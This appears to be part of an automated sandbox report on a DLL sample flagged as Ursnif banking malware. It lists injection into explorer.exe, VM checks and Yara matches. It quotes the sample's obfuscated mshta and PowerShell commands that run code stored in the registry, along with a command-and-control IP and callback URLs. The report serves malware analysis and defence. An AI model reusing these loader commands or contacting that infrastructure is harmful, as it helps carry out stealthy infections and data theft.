Source: explorer.exe, 00000013.00000000.621617255.000000000807B000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}8Ll/
Source: explorer.exe, 00000013.00000000.621617255.000000000807B000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000013.00000000.621617255.000000000807B000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SATA CD00
Source: RuntimeBroker.exe, 00000018.00000000.768961763.0000013857059000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: rundll32.exe, 00000003.00000002.642848364.0000000000AFF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.517536202.0000000000AFF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWt
Source: rundll32.exe, 00000003.00000002.642848364.0000000000AFF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.517536202.0000000000AFF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000003.00000002.642559499.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW@1
Source: explorer.exe, 00000013.00000000.621617255.000000000807B000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: mshta.exe, 00000009.00000003.534167119.0000021937BC4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: mshta.exe, 00000009.00000003.534167119.0000021937BC4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000013.00000000.662218249.0000000007F91000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\System32\loaddll32.exe Process queried: DebugPort Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 185.189.151.28 80 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Windows\SysWOW64\rundll32.exe Section loaded: unknown target: C:\Windows\System32\control.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: 7FF79BDC12E0 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: 7FF79BDC12E0 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: D48000 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 7FFA73801580 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 2E00000 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 7FFA73801580 Jump to behavior
Changes memory attributes in foreign processes to executable or writable
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FFA73801580 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FFA73801580 protect: page execute read Jump to behavior
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FFA73801580 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FFA73801580 protect: page execute and read and write Jump to behavior
Allocates memory in foreign processes
Source: C:\Windows\System32\control.exe Memory allocated: C:\Windows\explorer.exe base: 2E00000 protect: page execute and read and write Jump to behavior
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Windows\System32\control.exe Memory written: PID: 684 base: D48000 value: 00 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 684 base: 7FFA73801580 value: EB Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 684 base: 2E00000 value: 80 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 684 base: 7FFA73801580 value: 40 Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\rundll32.exe Thread register set: target process: 4324 Jump to behavior
Source: C:\Windows\System32\control.exe Thread register set: target process: 684 Jump to behavior
Creates a thread in another existing process (thread injection)
Source: C:\Windows\System32\control.exe Thread created: C:\Windows\explorer.exe EIP: 73801580 Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Kmli='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Kmli).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name smlsiwoq -value gp; new-alias -name dbmfrylmpa -value iex; dbmfrylmpa ([System.Text.Encoding]::ASCII.GetString((smlsiwoq "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name smlsiwoq -value gp; new-alias -name dbmfrylmpa -value iex; dbmfrylmpa ([System.Text.Encoding]::ASCII.GetString((smlsiwoq "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\tIJVb0BvkI.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name smlsiwoq -value gp; new-alias -name dbmfrylmpa -value iex; dbmfrylmpa ([System.Text.Encoding]::ASCII.GetString((smlsiwoq "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2tb3qiq3\2tb3qiq3.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5xaibb03\5xaibb03.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES109F.tmp" "c:\Users\user\AppData\Local\Temp\2tb3qiq3\CSCCA338523CEA149558ADCBDE2BD495CFE.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES37BE.tmp" "c:\Users\user\AppData\Local\Temp\5xaibb03\CSC5E69315C691F4C1A85D8DAF9C7145CE8.TMP" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5 Jump to behavior
Source: explorer.exe, 00000013.00000000.614468947.0000000006100000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000013.00000000.661504495.0000000007EF6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000013.00000000.607103050.0000000001430000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000013.00000000.607103050.0000000001430000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000013.00000000.606382937.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000013.00000000.644292443.0000000001430000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000013.00000000.607103050.0000000001430000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000013.00000000.644292443.0000000001430000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000013.00000000.605773443.0000000001430000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: YProgram Managerf
Source: explorer.exe, 00000013.00000000.607103050.0000000001430000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000013.00000000.644292443.0000000001430000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000013.00000000.605773443.0000000001430000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01063365 cpuid 3_2_01063365
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01064B89 SwitchToThread,GetSystemTimeAsFileTime,_aullrem,Sleep, 3_2_01064B89
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01066D78 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError, 3_2_01066D78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01063365 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree, 3_2_01063365

Stealing of Sensitive Information
barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.517711866.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.469735730.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471516390.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.604150409.00000227ABD6C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000003.595627275.0000029B55BFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471577769.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.516674396.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471331342.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471420335.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471258459.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.571473861.0000000005DB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471561246.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000003.595756334.0000029B55BFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.518581548.0000000004F0C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.469997167.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 7020, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3300, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 4324, type: MEMORYSTR
Source: Yara match File source: 3.2.rundll32.exe.1060000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b694a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.500a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50894a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b694a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50b6b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50894a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.500a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50b6b40.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000003.641851907.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.517608074.000000000500A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.517654657.0000000005089000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.593793333.0000000000A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.584416137.0000000000A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.643432070.0000000004D8F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.595167769.0000000000A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.642402320.00000000009C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.517711866.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.469735730.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471516390.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.604150409.00000227ABD6C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000003.595627275.0000029B55BFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471577769.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.516674396.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471331342.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471420335.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471258459.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.571473861.0000000005DB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471561246.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000003.595756334.0000029B55BFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.518581548.0000000004F0C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.469997167.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 7020, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3300, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 4324, type: MEMORYSTR
Source: Yara match File source: 3.2.rundll32.exe.1060000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b694a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.500a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50894a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b694a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50b6b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50894a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.500a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50b6b40.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000003.641851907.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.517608074.000000000500A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.517654657.0000000005089000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.593793333.0000000000A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.584416137.0000000000A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.643432070.0000000004D8F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.595167769.0000000000A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.642402320.00000000009C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 620333 Sample: tIJVb0BvkI.dll Startdate: 04/05/2022 Architecture: WINDOWS Score: 100 58 Snort IDS alert for network traffic 2->58 60 Found malware configuration 2->60 62 Multi AV Scanner detection for submitted file 2->62 64 2 other signatures 2->64 11 loaddll32.exe 1 2->11         started        13 mshta.exe 19 2->13         started        process3 process4 15 cmd.exe 1 11->15         started        17 powershell.exe 33 13->17         started        process5 19 rundll32.exe 1 6 15->19         started        23 csc.exe 3 17->23         started        26 csc.exe 3 17->26         started        28 conhost.exe 17->28         started        dnsIp6 54 185.189.151.28, 49758, 80 AS-SOFTPLUSCH Switzerland 19->54 66 System process connects to network (likely due to code injection or exploit) 19->66 68 Writes to foreign memory regions 19->68 70 Modifies the context of a thread in another process (thread injection) 19->70 72 2 other signatures 19->72 30 control.exe 1 19->30         started        50 C:\Users\user\AppData\Local\...\2tb3qiq3.dll, PE32 23->50 dropped 33 cvtres.exe 1 23->33         started        52 C:\Users\user\AppData\Local\...\5xaibb03.dll, PE32 26->52 dropped 35 cvtres.exe 1 26->35         started        file7 signatures8 process9 signatures10 82 Changes memory attributes in foreign processes to executable or writable 30->82 84 Injects code into the Windows Explorer (explorer.exe) 30->84 86 Writes to foreign memory regions 30->86 88 4 other signatures 30->88 37 explorer.exe 2 30->37 injected process11 signatures12 74 Self deletion via cmd delete 37->74 76 Disables SPDY (HTTP compression, likely to perform web injects) 37->76 40 cmd.exe 1 37->40         started        43 RuntimeBroker.exe 37->43 injected process13 signatures14 78 Uses ping.exe to sleep 40->78 80 Uses ping.exe to check the status of other devices and networks 40->80 45 PING.EXE 1 40->45         started        48 conhost.exe 40->48         started        process15 dnsIp16 56 192.168.2.1 unknown unknown 45->56
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.189.151.28
 unknown Switzerland
51395 AS-SOFTPLUSCH true

Private

IP
192.168.2.1

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.189.151.28/drew/MoXDvlmqf2lW3/EB1qVgQf/WMGbWvk8B3AU0qv1MnO4KKv/8mMADRXtjZ/pOzmC2TJWxSBePQQf/vX4xXJ2IWlh9/BWCOo52VZG1/qFF3rGEbDGBwji/AFMqmR1WMmM5K0LIMoI8g/D8c5DrZSEGvsAUch/2HdMta1B0ffeRMZ/k3cTTdUk82uBVmy7RF/Rr_2FL2he/DujtrSekUisPa3nAIzJG/cz1155F97esi6v8egB5/_2FIb4A5CDY4_2BdVWbog2/rBYVbP7pL/9UBLZ.jlk true
  • Avira URL Cloud: safe
 unknown
http://185.189.151.28/drew/blHtwIV2gkF3APGb/H5p0FtkLiZWuAmQ/YhhCMjxxL58xCK2uAV/WcBrEd5nc/_2FWto4DjLEhKaYvKzYG/62F8wcJNe79PrlqCY04/xwdKlEWPSs9w4mnPcT_2Ft/CBh9Jka_2BBO_/2FnUOsl_/2FeukB5Oo3R7waflgs2APeC/CflAOA3Y4e/fxy536Bj3MO1PfKKA/SIX3IKWM1adU/v_2FKt6MdMc/MqBgUjh6Lil97f/dDK979RFebXcHjW4yVEWU/DckDOUNWU_2FdK/Emn7xfA9.jlk true
  • Avira URL Cloud: safe
 unknown